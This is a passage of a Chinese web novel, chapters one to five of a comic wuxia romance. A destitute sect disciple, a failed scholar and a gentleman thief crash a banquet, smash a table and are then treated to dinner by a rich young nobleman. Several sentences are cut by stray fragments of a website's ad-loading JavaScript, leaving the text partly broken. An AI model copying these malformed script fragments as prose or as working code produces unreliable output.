《日月与卿》 1. 第 1 章 山野小镇,晚霞铺满屋顶。 集市将散,小摊贩都在做着最后的清卖,这个时候的东西是一天之中最便宜的,不少人特意赶在这时候来捡便宜。 忙碌的身影与叫卖声交织,平日宁静的小镇也在这一天热闹不少。 而在集市尽头,此时也有热闹看。 集市尽头有一间福泉客栈,也是这个镇子上唯一的客栈,此时里头似乎发生了争执,三两行人在客栈外驻足,好奇的往里头张望。 看热闹好像是人类的天性。 “掌柜的,您就再宽限我两日,我定如数将房费付给您。” 柜台前,立着一位橙色窄腰裙身材高挑的貌美小娘子,她一手拿着剑,一手抱着被伙计扔出来的包袱,同掌柜的求着情。 掌柜的却已不吃这套,语气冷硬道:“姜姑娘,我每天只算你六文钱,这一月厨房的灶柴火也免费给你用,断无再赊账的可能,你欠的三天房费我也不要了,如此已是仁至义尽,你且走吧。” 外头的人听到这里,小声议论着:“这位小娘子一看就是出身大户,怎会差这点钱。” 有知情者眉头一扬:“这你就不知道了吧,此事说来话长,你慢慢听。” 一月多前的集市上,小镇子上来了位姑娘,长的跟小仙女似的,手里拿着一把剑,剑鞘上镶嵌着一颗宝石,他们都猜测可能是哪个门派下山历练的弟子。 初见时,这条街上的人看小娘子的眼神都像在看财神爷,热情的不得了,直到小娘子熟练的在客栈,集市上讨价还价,才让一众人幻想破灭,瞠目结舌。 小娘子那叫一个能说喔,五文一斤的糙米硬是给她磨成三文。 还抠搜的只买了两斤,当时那掌柜的脸黑的都能刮下一层碳了! 那日小娘子来时恰逢闲暇时段,所有人都伸长脖子看热闹,但这个‘热闹’没有放过他们任何一个人。 从街头的肉摊到末尾的菜摊,小娘子将他们都光顾了一遍,都不区别对待! 小娘子模样好,有一把好嗓子,说话也好听,这条集市上老老少少的摊贩全都败下阵来。 那天小娘子走时,菜篮子装的满满当当。 后来熟悉了,有性子热情的婶子问小娘子的来处,小娘子有问必答,自称她是一个叫做什么落霞峰的大师姐,师门穷困,师父还要养师弟师妹,她下山游历师父一共只给了她一两银子。 大师姐初次下山,不懂人生百态,头一天就被骗了五百文,辗转来到这里,身上已经所剩无几。 “原来是这样,这是什么师门怎么穷成这样...” 话还没说完,那人就被身边的人拉了一把,原是那位大师姐被伙计赶了出来,看热闹的人连忙将路让开。 包袱被扔到地上,客栈的门在眼前关上。 大师姐不死心的在门口立了一会儿,确认这扇门不可能再为她打开了,才转身去捡包袱。 她平静地抖了抖包袱上的灰尘,看向那条集市。 其实也没看,她只是在想接下来该怎么办,目光随意落在了那里。 身上只有三个铜板了,晚饭和晚上住的地儿都没有了着落。 真愁人。 “欸,集市还没散呢,你今儿怎么这么早关门。” 街上时有行人路过,遇着熟悉的都会打个招呼。 被问的人回了个笑,道:“今儿城南刘家长孙的满月酒,你们去么?” 问话的那人面色晒晒,随口道:“城南刘家啊,我们没有往来。” 城南刘家是这个镇子上首富,村里来赶集的大多都没有交情,也就这些临街的老板与刘家有些关系。 那位老板也看见了被赶出来的小娘子,几番欲言又止后,果断的折身离开。 大师姐的眼神却已渐渐聚拢,看向那老板。 今儿有酒席吃? 但那老板走的飞快,似是生怕被她缠上,恰这时肉摊老板路过,她连忙跑过去,道:“大叔,你也去城南吃酒吗?” 肉摊老板点头:“是啊。” 他家中也有个闺女,跟眼前的小娘子年纪相仿,最是见不得小姑娘吃苦,这一月来没少帮衬她,此时看她背着包袱,便关切道:“姑娘要离开这里了?” 大师姐摇头:“被赶出来了。” 肉摊老板:“...” 他看了眼大门紧闭的客栈,再想到这小娘子的情况,无奈一叹:“实在不成,姑娘还是先回师门吧。” 心软归心软,可他家也不是什么大户,家里还有三个孩子要养,平日送点肉还行,更多的也帮衬不了。 大师姐不是没有过这个心念,只是... ‘为师算到你今年在下山有几段缘分,择日不如撞日,今日便下山去吧’ ‘为师也要带你师弟师 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 妹去游历了,三月后归’ 师父每回出门都要将每道门锁的结结实实,虽然她也不知道那家徒四壁的师门有什么好防的,但现在,是防住她了。 回了山上,她也没地方落脚。 “不了。” 大师姐道:“大叔,你能带我去刘家吃满月酒吗?” 吃了上顿没下顿的日子她过惯了,先不管今夜住哪里,先把肚子喂饱再说。 肉摊老板吓了一跳,忙退后一步:“小娘子你可别害我啊,这地儿就这么大点,我今儿要带你去刘家,晚上回去得被婆娘打死。” 见小娘子面露失落,肉摊老板又有些于心不忍,建议道:“不过,今儿刘家高兴,小娘子备点薄礼,也能进去吃席。” 大师姐眼神骤然明亮,忙在包袱里翻翻捡捡,但实在没有能用来送礼的,全身上下只有三个铜板。 肉摊老板唇角一抽,咬咬牙抬手一指:“粮铺还没关门,小娘子去称半斤粗面。” 凭这小娘子缠人的功夫和出众的外形,混进去应该没问题。 至于脸面什么的就暂且不管了,吃饱更重要。 “半斤……” 大师姐心动了,忙朝肉摊老板道谢:“谢谢大叔,大叔发大财。” 肉摊老板对着她的背影嘱咐:“日落开席,小娘子可别去晚了。” 大师姐回身扬起灿烂的笑容,招招手:“知道了,谢谢阿叔。” 肉摊老板摇摇头。 真是造孽哦。 好在今儿粮铺老板也赶着吃席,大师姐没磨多少嘴皮子就用三文钱买来半斤粗面,离日落只有一刻钟,紧赶慢赶,大师姐踩在最后的时辰赶到了刘家。 礼薄先生本来都要收了,看见一个貌美的小娘子进来忙又坐下,热情客气道:“小娘子请这边登记。” 大师姐道了声谢,拿起笔在礼薄上写下自己的名字。 姜蝉衣,半斤粗面。 礼薄先生面色一僵,却奇怪的没有很惊讶,反而像是有些麻木了。 礼薄先生面无表情地看着小娘子跨进门槛后,将礼簿往前翻了一页,只见在一众布匹银两中间,有两行特别挑眼。 云广白,八两糙米。 徐青天,一两茶叶。 三个人加起来不超过十五文,这明摆着都是来蹭席吃的嘛! 真是世风日下,人心不古啊! 2. 第 2 章 姜蝉衣一进刘家,就有仆人毕恭毕敬的迎过来:“姑娘快这边请,我们马上就开席了。” 小娘子气质上乘,剑上的宝石一看就不是他们这个小镇上能有的上等货,仆人只道是主人家在外面跑生意新结识的贵客,生怕有所怠慢,压根没想到会是来蹭席的。 而已经落座的客人都被刚进来的貌美小娘子吸引了目光,纷纷打听这是主人家在哪里结识的贵客,唯有粮铺老板和肉铺老板默默的别开眼。 到底还是让她混进来了。 仆人四下望了眼后就带着姜蝉衣往草地边上的那一桌走去。 那一桌目前只有五个人,也是唯一一桌没坐满的。 那五个人中,有两个人尤其显眼。 西方位的青衣少年身旁放着一个箧笥,是位俊逸儒雅的书生;南方位的紫衣少年气质凌然,佩剑靠着桌子立放着,看样子像是位少年侠客。 都端的是一副卓然之态,与周遭格格不入,也为主人家增光添彩。 在姜蝉衣来之前,已经有很多人好奇的向主人家询问郎君们是何方贵客,刘老爷想破脑袋也想不起自己在哪里结识过这样气宇轩昂的郎君,但这种长脸的事自然不可能否认,便笑着谦虚的说许是儿子在生意上结识的。 刘公子这边有人问起,他也面不改色的回答许是父亲邀请的贵客。 与两位郎君同桌的是两位妇人,一个中年男人,他们接受到周围邻居的示意客气打探,但可惜的是两位公子都不是话多的,半刻钟过去,连名字都没能问出来。 “姑娘,就坐这里吧。” 仆人引着姜蝉衣走到桌边,客气道。 “多谢小哥。” 姜蝉衣笑盈盈道了谢,扫了眼座位。 四方木桌,一边是两位妇人,另外三边一边坐着一个男子。 虽然当今没有男女不同席的死板规矩,但同坐一条板凳到底有些难为情。 尤其还是貌美的小娘子和俊朗的小郎君。 不过,姜蝉衣不在乎这些。 她快速打量了眼几人,率先排除中年男子,目光在书生和少年侠客间徘徊。 论模样气度,各有各的出挑,一时竟也无法选择。 但,书生抢菜应该要慢些。 就在姜蝉衣要朝书生走去时,离她近些的妇人开口道:“两位公子不若同坐,给小娘子腾个位。” 姜蝉衣止住脚步。 无疑,这是最佳选择。 一个人坐一方才施展得开。 两位郎君对视一眼后,书生起身坐到了少年侠客身边,少年侠客也很配合的往旁边挪了挪。 “多谢二位。” 姜蝉衣感激道:“二位郎君不仅一表人才,心地也善良。” 书生微微颔首:“姑娘谬赞。” 温文尔雅,谦谦君子。 “姑娘过誉。”少年侠客笑着道。 明朗如星,风流倜傥。 姜蝉衣顿觉心情舒畅,空气宜人。 好看的郎君是会让人心旷神怡的,好酒好菜好郎君,神仙日子啊! 直到开席…… 第一盘上的是凉拌肚丝。 盘子刚落下,几双筷子几乎同时出动,盘子霎时空了大半。 两位妇人和男人目瞪口呆的看着三人风卷残云般进食,愣是惊的半晌没敢动筷子。 直到第二盘青椒肉丝又被扫空,三人才反应过来,赶紧拿起筷子加入了抢菜队伍。 再不抢,他们今儿得饿肚子! 上菜的人已是呆若木鸡。 这三位个顶个的出挑,怎么抢起菜来跟几辈子没吃过饭似的! 而此时在姜蝉衣的眼里,那两位再也不是什么养眼的郎君了! 什么谦谦君子,明朗如星,不过是跟她一样不要脸的同类人罢了。 如此,她就更没有心理负担了。 肉香味从空气中飘来,三人几乎同时抬头,眼里迸着的如狼似虎的光将上菜的人吓得捧紧了手中的碗。 像是生怕那几人生扑过来抢肉,又怕自己一个不稳没能端上桌,被几人生扑了。 肉碗稳稳放到桌上,才一松手,几双筷子就涌向碗中,满满一碗肉顷刻间就只剩一半了。 不过几个眨眼,肉碗见了底。 碗底剩最后一块肉。 姜蝉衣来不及吃碗里的,想也没想的朝最后一块肉发起了进攻。 与她有同样想法的还有两个人。 三双筷子几乎是同时落在肉上。 桌上的另外三人不知何时已经停下了动作,眼也不眨的看着,猜测这最后一块肉会花落谁家。 书生眼神坚毅,少年侠客凌厉如风,小娘子严阵以待。 视线相交,如刀锋般锐利。 一场争夺肉战就此拉开序幕。 只见几双筷子快速交织纠缠,肉在筷子上来回转换,他们的目光随之而动,却根本看不清谁占了上风。 突然,肉不知被谁抛向了空中。 姜蝉衣与那少年侠客几乎同时起身,书生紧随其后,另外三人下意识往后仰了仰。 今日刘家的宾客众多,有一些桌椅是向邻居借的,眼下这张木桌年岁已久,哪里经得起这般折腾,争抢间不知是谁动了桌子,只听‘砰’地一声,桌子裂开,连同桌上的碗和抢来的肉全部落在了地上。 所有争抢戛然而止。 场面陷入死一般的寂静。 同桌三人在桌子裂开的那一瞬就慌忙起身退后,其中一位妇人还眼疾手快的将自己的碗抢到了手上。 一众人围着一片狼藉说不出话来。 姜蝉衣盯着淹没在碎片中的肉,悔的肠子都青了,她抢的那一碗肉还一块没吃呢! 书生的脸色铁青。 古人诚不欺我也,吃着碗里的看着锅里的,不可取! 少年侠客一脸菜色。 饱餐一顿的幻想破灭,怕是还得破财。 这么大的动静自然也早就被席上的客人看在眼里,无一例外的目瞪口呆,而肉铺老板和粮铺老板一个扶额,一个捂眼,没眼看。 主人家的脸色也已经黑成碳了。 这时,仆人拿来了礼簿,刘公子瞥了眼就知道怎么回事了,请示了父亲后起身走过去。 “几位,这边请。” 刘公子态度客气,眼底却是一片冰冷。 同时,也有仆人过来安置另外三人去别桌入座。 姜蝉衣与书生和少年侠客各对视一眼,心里飞快的盘算着。 木桌怎么也得十文吧,瓷盘三个至少得二十文,大瓷碗十文,小瓷碗四个最少也要三十文…… 分下来,她得赔二十三文! 完蛋了! 书生无声的背起箧笥,少年侠客拿起佩剑,贫穷大师姐低着头,在一众宾客异样的目光下,随刘公子走了出去。 刘公子是个很有风度的郎君,并没有对他们言行责怪,但他也是个生意人。 “木桌二十文,三个瓷盘九十文,一个大瓷碗四十文,四个小瓷碗八十文,一共二百三十文。” 刘公子笑意不达眼底:“诸位,谁赔?” 三个耷拉着脑袋的人顿时被吓的来了精神,纷纷震惊的抬起头,姜蝉衣最先开口:“那木桌年岁已久,瓷碗我之前问过价,十文一个。” 俊逸书生和少年侠客忙不迭点头。 “木桌虽陈旧,但借的是邻居的,需要重做一张木桌赔偿。”刘公子转头和声细语吩咐下人:“去将摔碎的瓷片取来,再将采购的账本拿来。” 姜蝉衣抿着唇望了眼书生和侠客,心里隐隐生出一股不安的预感来。 果然,一刻钟后。 “姑娘今日应该是在镇上问的价,集市上的瓷碗确实十文一个,但姑娘仔细看看,可是同一种?” 刘公子将碎片递给姜蝉衣,又接过下人递来的账本给书生和侠客过目:“今日宴席所用瓷具唤作高山流水,出自平江城玉氏瓷器,感谢各位莅临犬子满月酒,运费就不同各位算了。” “一共二百三十文,三位若分开赔付,便算一人七十六文。” 姜蝉衣仔细比对了,手中瓷片确实与今日在集市上看到的不一样;书生和侠客看了账本,又瞥了眼瓷片上的纹路,一颗心沉到了谷底。 刘公子也不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 催促,静静地等着。 良久后,姜蝉衣抬头与他商量:“能不能打欠条?” 书生和侠客也期待的望着刘公子。 只见刘公子温和一笑:“不能。” 三人你看看我,我看看你,将最后的希望寄托在对方身上。 可能送得出半斤粗面,八两糙米,一两茶叶的人,怎么可能赔得出二百三十文! 一时间,场面尴尬而寂静。 这时,刘公子突然出声:“姑娘这把剑……” “不行!” 姜蝉衣忙将剑藏到身后,认真道:“这把剑是我师父送我的,剑在人在!” 刘公子又是一笑,道:“我是说,姑娘若身上没有带够钱,可将这把剑上的宝石做抵押。” 姜蝉衣低头看向剑上的宝石,眉头微蹙:“师父说过,这枚宝石不能丢。” “姑娘之后可拿钱来赎。”刘公子。 姜蝉衣沉默了。 眼下这么僵持下去也不是办法,还是得先脱身去凑钱要紧。 “公子腰间的玉佩……” 刘公子给她时间考虑,将视线落在少年侠客身上,少年侠客一把捂住玉佩,抬头对上刘公子冷淡的眼神,他咽下了拒绝的话,艰难问:“也是抵押,可以赎?” 他的这枚玉佩可丢不得。 “自然。” 刘公子又看向书生,但书生身上没有任何配饰,只有背上一个箧笥。 书生倒也不必刘公子开口,主动将箧笥放下来,在里头挑挑拣拣。 箧笥里是书和一些日常物品,没有宝石,也没有玉佩,能做抵押的只有书。 最终,书生一脸肉痛的拿出一本书,小心翼翼递给刘公子:“这是孤本,你要收好,不能弄脏了弄坏了,我一定会来赎。” 这本书或许不值七十六文,但对于读书人而言却是极其重要的。 刘公子伸手接了书,让人立了字据。 “嗞!” 姜蝉衣抠下了宝石。 “你一定要收好。” 少年侠客咬咬牙,取下腰间玉佩:“绝不能弄丢!” 刘公子淡笑着接过抵押物,立好字据,吩咐道:“来人,将几位请出去。” 一个箧笥率先被扔出刘家。 两把剑和一个包袱也随后落在了地上。 “滚!” “穿的人模狗样,却是来蹭吃蹭喝的,还敢搅了主人的满月宴!” “诶诶我的剑,你别我推我自己出去!” “我箧笥别摔坏了。” 顾及姜蝉衣是姑娘家,刘家的人没有对她动手,只将书生和少年侠客毫不客气的推搡了出去。 姜蝉衣不在意那些数落和讽刺,快步上前捡起剑,心疼的拿衣袖擦了擦,才又捡起包袱熟练的抖了抖上面的灰尘。 没了宝石的剑就像是失去了光鲜亮丽的衣裳,变得灰扑扑的,那个凹陷下去的窟窿看着还有几分委屈。 “不是都抵押了么,怎么还扔人东西啊。”书生捡起箧笥,不满的控诉:“我又不是不赔偿!” “我的剑很贵的,你们给我摔坏了赔得起么!”少年侠客扯着嗓子喊。 “砰!” 大门在几人面前无情的关上。 阻断了书生和少年侠客的质问。 周遭顿时安静下来,被赶出来的三人立在门外面面相觑。 也不知是谁先开口…… “非要抢那一块肉,现在好了,偷鸡不成蚀把米!” “你没抢吗?你碗里都装不下了,还吃着碗里的看着锅里的。” “抢肉就抢肉,你们掀桌子作甚!” “你没掀吗?瞧着一副弱不禁风的样子,手劲也忒大了,说不准那桌子就是被你劈碎的!” “我是读书人,怎会做那有辱斯文之事!” 姜蝉衣和少年侠客上下扫他一眼,几乎同时质问: “蹭吃蹭喝怎么不说有辱斯文!” “跟我们抢肉怎么不说有辱斯文?” 书生正要反击,突听一道温润如玉的声音响起。 “诸位,可否借个道?” 3. 第 3 章 三人不约而同狠狠转头望去。 这么宽的路他们三个人能挡他空气了? 刘家大门临街,这条道能容一辆马车通过,此时几人立在道路中央,正好挡住了一辆华贵的马车。 还真挡路了。 三个人迅速的收了眼底的戾气,几乎同时道歉。 “抱歉。” “对不起。” “失礼了。” 很有默契,又全无默契。 “无碍。” 又是那道好听的声音。 几人的目光从很明显没有开口的车夫身上挪到马车上。 顿时,三双眼睛都直了! 落魄书生喃喃道:“上好檀木!” 少年侠客惊叹:“踏雪乌骓!” 姜蝉衣眼含星辰:“九天神君!” 书生和侠客目光怪异的看向她,而后疑惑的顺着她的视线望去。 嚯! 书生妙语连珠:“龙章凤姿,城北徐公,叹为观止!” 少年侠客抱着剑,认可点头:“怎么有人能长的这样惊为天人。” 车夫:“……” 这马屁拍的是否过于明显? 马车里郎君的手放在窗户上,想关上,似乎又觉不大礼貌,半天憋出一句:“……多谢。” “劳驾,借道。” 姜蝉衣忙不迭点头,脚步却不由自主的靠近郎君。 车夫的眼神霎时凌厉几分,落在她的佩剑上,右手已经摸向腰间。 然而…… “公子救命!” 只见那貌美的小娘子将方才还万分爱惜的剑和包袱干脆利落的丢掉,几个箭步就趴到了车窗上,噼里啪啦道:“公子您犹如天神下凡,龙章凤姿,惊为天人,必定也宅心仁厚,悲天悯人,我已经三天没吃饭了,快要饿死了,救人一命胜造七级浮屠,公子您行行好,赏顿饭成吗?” 空气霎时鸦默雀静,阒然无声。 书生侠客差点惊掉了下巴。 从未见过如此能屈能伸,溜须拍马,见风使舵的女子! 车夫看了眼被小娘子毫不犹豫扔到地上的佩剑,到底是没有出手。 只请示道:“公子?” 只要公子一声令下,他必定立刻将人赶走,但,他迟迟没有得到指示。 此时此刻,他的公子正目不转睛地盯着貌美的小娘子,在想,小娘子的眼睛亮过星辰,不会骗人。 三天没有吃饭,确实可怜。 “我正好要去用饭,姑娘若不介意,可与我同行。” 姜蝉衣喜出望外,连连道:“多谢公子,公子真是个大善人!” 郎君温和笑了笑,递出一方帕子给她。 姜蝉衣茫然接过,疑惑的嗯了声? 郎君淡然抬手指了指唇角。 姜蝉衣下意识用帕子擦了擦唇,然后就见雪白的帕子上,多出了一点油渍。 多是方才抢凉拌肚丝时留下的。 姜蝉衣:“……” 所以三天没吃饭的谎言早就不攻自破。 她一向脸皮厚,不知羞臊为何物,但这一刻脸却不可控的烫了一些。 好在这时,书生突然窜了过来,朝郎君拱手作揖:“公子,某进京赶考,路上被人偷了银两,如今身无分文,若能得公子赏顿饭,必感激不尽。” 慢了一步的侠客:“……?!” 都这么不要脸吗? “公子!” 少年侠客露着一口大白牙,将书生挤到一边:“在下也饿了几天了,能不能也赏在下一口饭吃。” 车夫上下打量了眼几人,忍不住想,现在乞讨的门槛已经这么高了? 一片寂静中,只听那位悲天悯人的神君温声道:“若二位不介意,便同去吧。” “不介意,不介意!” “多谢公子!” 二人争先恐后的爬上了马车。 姜蝉衣早在二人还在乞讨时就已经捡起了包袱和剑率先钻进了马车。 连声客气的道完谢后,三人悄然打量起马车,不看还好,一看可不得了啊。 马车里的坐榻是蜀锦,毯子是雪白的狐毛,中间的茶具全是玉制,那玉的成色做成一个扳指都得上百两银子,他竟拿来做了成套的茶盏! 煮茶用的是上等金丝碳,茶盒是金镶玉,天老爷,这哪是神君,分明是财神爷啊! 许是三人的视线太过灼热,财神爷默默地洗了三个茶盏,一一倒满,做了个请的姿势:“若不嫌弃……” “不嫌弃!” 话还没说完,少年侠客已经动作迅速的端起离自己最近的一杯送到了嘴边。 姜蝉衣和书生紧跟其后。 “多谢公子。” 郎君淡然收回手:“……不客气。” “好茶!” 少年侠客的发出一声赞叹。 这可不仅是好茶,这是密云龙,是贡品啊! 这财神爷到底是何方神圣! 姜蝉衣和书生品不出是什么茶,只觉得比他们之前喝过的所有茶都好喝。 “公子若喜欢,请便。” “那就恭敬不如从命啦。” 少年侠客自己提起茶壶又倒上一杯,还热情的给姜蝉衣和书生也添上了。 大约是怕几人不自在,郎君贴心的拿起一本书看着,等到他们品够了茶,才放下书,道:“我本是路过此地,去往平江城用晚饭,若几位等不及便在小镇上寻一家酒楼?” 姜蝉衣与少年侠客和书生对视一眼后,头一回默契的异口同声:“等得及!” 平江城的饭菜哪是小镇上可比的! 他们今儿可真是走大运了! 郎君想了想,便从旁边抽屉里拿出一个食盒递给几人:“从这里进平江城最快也要一个时辰,诸位先垫垫肚子?” 少年侠客接过 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 食盒,一边道谢一边将点心给几人分了,最后还剩一个他递给了财神爷。 财神爷却温和道:“我不饿,你们吃。” 少年侠客也没独吞,将那块点心一分为三,大快朵颐之后,肚子里有了东西,精神气儿也就更足了。 “还没请教恩人贵姓?” 少年侠客拱手道:“在下云广白,蓝天白云的云,广阔天地的广,白云的白。” 郎君默了默,才颔首还礼,道:“免贵姓燕,单字鹤。” 他正想着要不要也细细解说一番,就听云广白道:“我知道,鹤鸣九天的鹤对不地?” 郎君燕鹤点头:“是。” 小叔叔给他取这个字时,确实是取其意。 书生也恭谦有礼的报上姓名:“小生徐青天。” 云广白:“青天大老爷的青天?” 燕鹤闻言才明白,原来他们也互不相识。 书生谦虚一笑:“是。” “也是小生的志向。” 云广白扬眉:“你这名字起的够响亮啊,那云某就在此祝愿你早日得偿所愿。” “多谢云兄。” 刚刚还在为了一块肉打的不可开交,吵的面红耳赤的人,转眼,就以兄弟相称。 “姑娘呢?” 云广白看向姜蝉衣道。 燕鹤轻轻望过来。 姜蝉衣也学着云广白的介绍方式道:“我叫姜蝉衣,生姜的姜,蝉蜕的蝉衣。” “好名字!” 云广白非常捧场。 交换了名字,几人相处起来似乎就没初时那般陌生了。 虽然本就比较自来熟。 一路上,以云广白为首,几人噼里啪啦一通聊,将对方的身份都摸得差不多了。 比如,他们遇上的这位财神爷,原来是家族败落,举家退出京城,除了权势,家里只剩钱的没落世家公子。 小娘子姜蝉衣是一个唤作落霞峰的江湖门派的大师姐,也不怪他们没听过这个门派,原来整个落霞峰加上她的师父,共有四个人,她底下分别有个师弟师妹。 据这位大师姐说,门派穷的揭不开锅。 而书生徐青天则是家道中落,一心扑在科举上盼望光宗耀祖,但是天不遂人愿,次次落榜,考了几年,还是个童生。 但他志向远大,毅力非常,绝不放弃! 话最多的少年侠客云广白是个侠盗,劫富济贫是他人生中最重要的事。 据他所说,他曾凭借一己之力,一夜盗了六家大富商,拯救了几百差点饿死的流民,还署了人家富商的名,说是人家赠予的。 富商虽抠,却也真不差这点钱,美名送到跟前来,也只能打破牙齿往肚里吞,咬牙切齿地接受。 总之,各有各的精彩,各有各的故事。 一个时辰的路,就这么转眼即过。 燕鹤那本放下的书,一路上再也没拿起来过。 4. 第 4 章 华丽的马车缓缓驶进平江城。 入夜后的平江城灯火通明,璀璨夺目,街边小摊琳琅满目,看的人眼花缭乱,各式各样的杂耍掀起欢呼一片,河岸两边的灯笼倒影在河中,泛着粼粼波光。 马车两边的车窗早被推开,探出三颗脑袋,眼里迸着比那火花还亮的光芒。 “我从未见过如此盛景,灯火辉煌,金楼玉雕,不愧是平江城!”少侠云广白率先发出赞叹。 书生徐青天紧跟着道:“真是一副如诗如画的江南水乡画卷,令人乐不思蜀,流连忘返。” 姜蝉衣觉得自己也应该发表一句感慨,但她的目光在热闹欢腾中快速轮转,没空遣词造句:“……好美啊!” 马车里唯一巍然不动的郎君此时也抬眸从小娘子趴着的窗户口朝外望去。 不同于玉京城的繁华大道,巍峨辉煌,如画江南名副其实,如此夜景,确实不虚此行。 “哇哦,漂亮!” 一圈圈耀眼的火花亮起,夺目争辉,引起一阵叫好声,云广白激动的伸出手欢呼呐喊。 少侠的大嗓门淹没在热闹中,但一点也不妨碍他的热情,喊的更大声了。 震的旁边书生耳膜都快要破了! 徐青天实在忍不住了,捂着耳朵拍了拍他:“云兄,小声些。” 云广白大约也意识到自己吵到了他,抱歉的朝他一笑:“对不住啊,没见过这等大场面,大兴奋了。” 另一边,小娘子一人趴在窗户上,目不转睛的看这盛世繁华,眉眼轻轻弯起,时而有火光照耀在过来,将小娘子笼罩在光中,美得不似在凡尘。 燕鹤无意中一瞥,目光足足定了几息才挪转开。 穿过正街,热闹渐渐远去,云广白的热情还未减退,努力探头张望着。 姜蝉衣最先坐了回来,看向燕鹤,问道:“燕公子,我们去哪里吃饭?” 听见这话,云广白和徐青天才恋恋不舍的收回脑袋,期待的看向财神爷。 燕鹤温和道:“我初次来平江,对此地知之甚少,诸位可有什么建议?” 姜蝉衣和云广白都摇头。 “我也是第一次来平江。” “我下山时来过一回,才进城不久就被人骗了五百文,剩的钱不够在这里落脚,当天就离开了。” “你被人骗了?” 云广白紧皱着眉:“什么缺德玩意儿连你的钱都骗。” 一个才入尘世的漂亮姑娘,身上拢共只有一两银子,还被人骗走五百文,想想都觉可恨! 徐青天则是看了眼她的佩剑,疑惑道:“姜姑娘一看便是武林出身,怎敢骗到姑娘身上?” 燕鹤目光温和的看着姜蝉衣。 只听小娘子道:“我想找个住处,那个人说他可以帮我找,让我给他五百文,在茶棚等他,然后他再没回来,我问了茶棚老板,那老板告知我,我可能被骗了。” 众人:“……” 该说不说,小娘子简直单纯的吓人,这么明显的骗局都能上当! 良久的沉寂后,云广白一言难尽的扯唇笑了笑:“那他真是个混蛋!” 徐青天正色点头:“对,着实可恨!” 燕鹤别开眼,没做声。 小娘子才入世便遭此一难,确实可怜。 “我来过平江城。”徐青天见燕鹤不准备发表意见,便接着道:“从这边走,有一条街都是酒楼。” 燕鹤便吩咐车夫按照徐青天指的方向行驶。 果然没过多久,便见一片灯火璀璨,各个酒楼楼下都有人在招揽生意。 一行人随意选了一家停下。 “客官快里面请,马车停在这边,小店有提供上好的草料。” 伙计热情的迎上来招呼着。 一行人随着伙计进了酒楼。 车夫将马车交给另一个伙计,无声地的跟了上去,在燕鹤等人的不远处坐下,视线若有若无的飘过去。 这几位是突然窜到公子身边的,有两个功夫都不弱,不得不防。 落座后,等燕鹤点好两个菜,三个饿的前胸贴后背的人迫不及待的各自报出了一长串菜名,催促伙计要快点上菜。 菜上的确实也快,但抵不过几人的狼吞虎咽。 上一盘空一盘。 除了燕鹤点的外。 燕鹤沉默的看着,半晌忘了动筷。 小娘子等待间隙偶尔拿眼睛瞟一眼他面前的菜。 燕鹤便将自己面前的菜往小娘子的方向推了推 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“诸位请便。” 然后不过片刻,就被几双筷子扫荡一空。 燕鹤:“……” 他们不是在刘家吃了席,又喝光了他的密云龙,吃完了他马车上几盒糕点么。 别说燕鹤,就连伙计都看傻了眼。 最后一盘菜上上来,他看了眼满桌的空盘子,试探道:“要……加菜吗?” 四个……三个人顶人家一桌人了,店里要天天来这样的客人,掌柜的做梦都能笑醒了。 “能加吗?” 云广白一嘴油的期待的看向燕鹤。 燕鹤别开眼:“……加。” 姜蝉衣鼓着腮帮子:“红烧肉!” 徐青天抬头:“八宝鸭。” 云广白语速极快:“凉拌肚丝,烧鸡!” 伙计连忙应下转身小跑着去了厨房。 天老爷,三个人吃了一桌席面,这是几天没吃饭了吧! 伙计上完菜,还特意上了份燕鹤方才点过但被三人吃光了的清蒸鱼和小白菜:“公子,这是我们掌柜的送的。” 燕鹤颔首道谢:“多谢。” 同桌几人大快朵颐,燕鹤的胃口似乎也好了些,比平日多用了一碗米饭。 剩下的一点鱼和青菜最后也被左手边的姜蝉衣和右手边的云广白清空了。 燕鹤看了眼满桌的空盘,沉默几息后,淡然的唤来伙计结账。 伙计恭敬客气道:“公子,一共十两一钱,给您抹个零,算十两。” 空气陡然安静。 姜蝉衣不敢置信的瞪大眼,他们吃了十两银子? 十两银子够她吃一年了! 云广白也面露诧异。 平江城的菜可真贵! 丝毫不认为是自己吃的太多。 徐青天倒是没有露出什么惊讶之色,只有这忐忑的看向燕鹤。 十两,不是一个小数目,够普通百姓过活一年了,他们萍水相逢,他会生气吗? 一阵寂静后,燕鹤从荷包里掏出了一锭银子放在桌上。 他自小随小叔叔游历,对民间的物价不陌生,十两银子对他来说算不得什么,但在民间确是一笔不小的数额。 他从没见过比他们更能吃的人。 5. 第 5 章 酒足饭饱,精神气十足。 出了酒楼,云广白伸了个大大的懒腰,看着眼前繁华景象,眯着眼喟叹:“平江城是个好地方。” 富商一定多。 夜黑风高,正适合飞檐走壁。 如此想着,他转身朝燕鹤拱手一礼,道:“多谢燕兄今日慷慨,相逢即是缘,他日再相见必当回报燕兄恩情,在下还有要事,就此别过,后会有期。” 燕鹤颔首:“再会。” “姜姑娘,后会有期。” 姜蝉衣拱手:“再会。” 云广白离开后,徐青天也向燕鹤告辞:“多谢燕公子大恩,小生必定铭记于心,山水相逢终有时,友缘相聚皆可期。” “姜姑娘,就此别过。” 燕鹤姜蝉衣回了礼,目送徐青天离开。 等人走远了,姜蝉衣便看向燕鹤,道:“那我也走了,多谢燕公子。” 燕鹤温声道:“姜姑娘可想好接下来去哪里?” 小娘子孤身在外,身无分文,自然令人多几分忧心。 姜蝉衣点了点了头:“想好了。” 燕鹤闻言也就不好再多问,取下腰间荷包递给她:“我这里还有些碎银子,姜姑娘拿着防身。” 姜蝉衣一怔,垂眸看了眼荷包。 她方才看见他从荷包里掏出十两银子,可见这大半荷里不是一点碎银子。 是她从来没见过的数额! 不心动是假的。 但是她不能要。 师父说过,人穷志不能短,可以蹭饭,却不可讨要银钱。 姜蝉衣依依不舍的将荷包推回去:“多谢公子好意,无功不受禄,公子放心,我已经有了赚钱的法子。” 燕鹤见此也不好强行给她,只能收回手:“好,姑娘珍重。” 姜蝉衣拿着剑拱手道:“公子也珍重,告辞。” 燕鹤颔首:“告辞。” 萍水相逢,难有再见时。 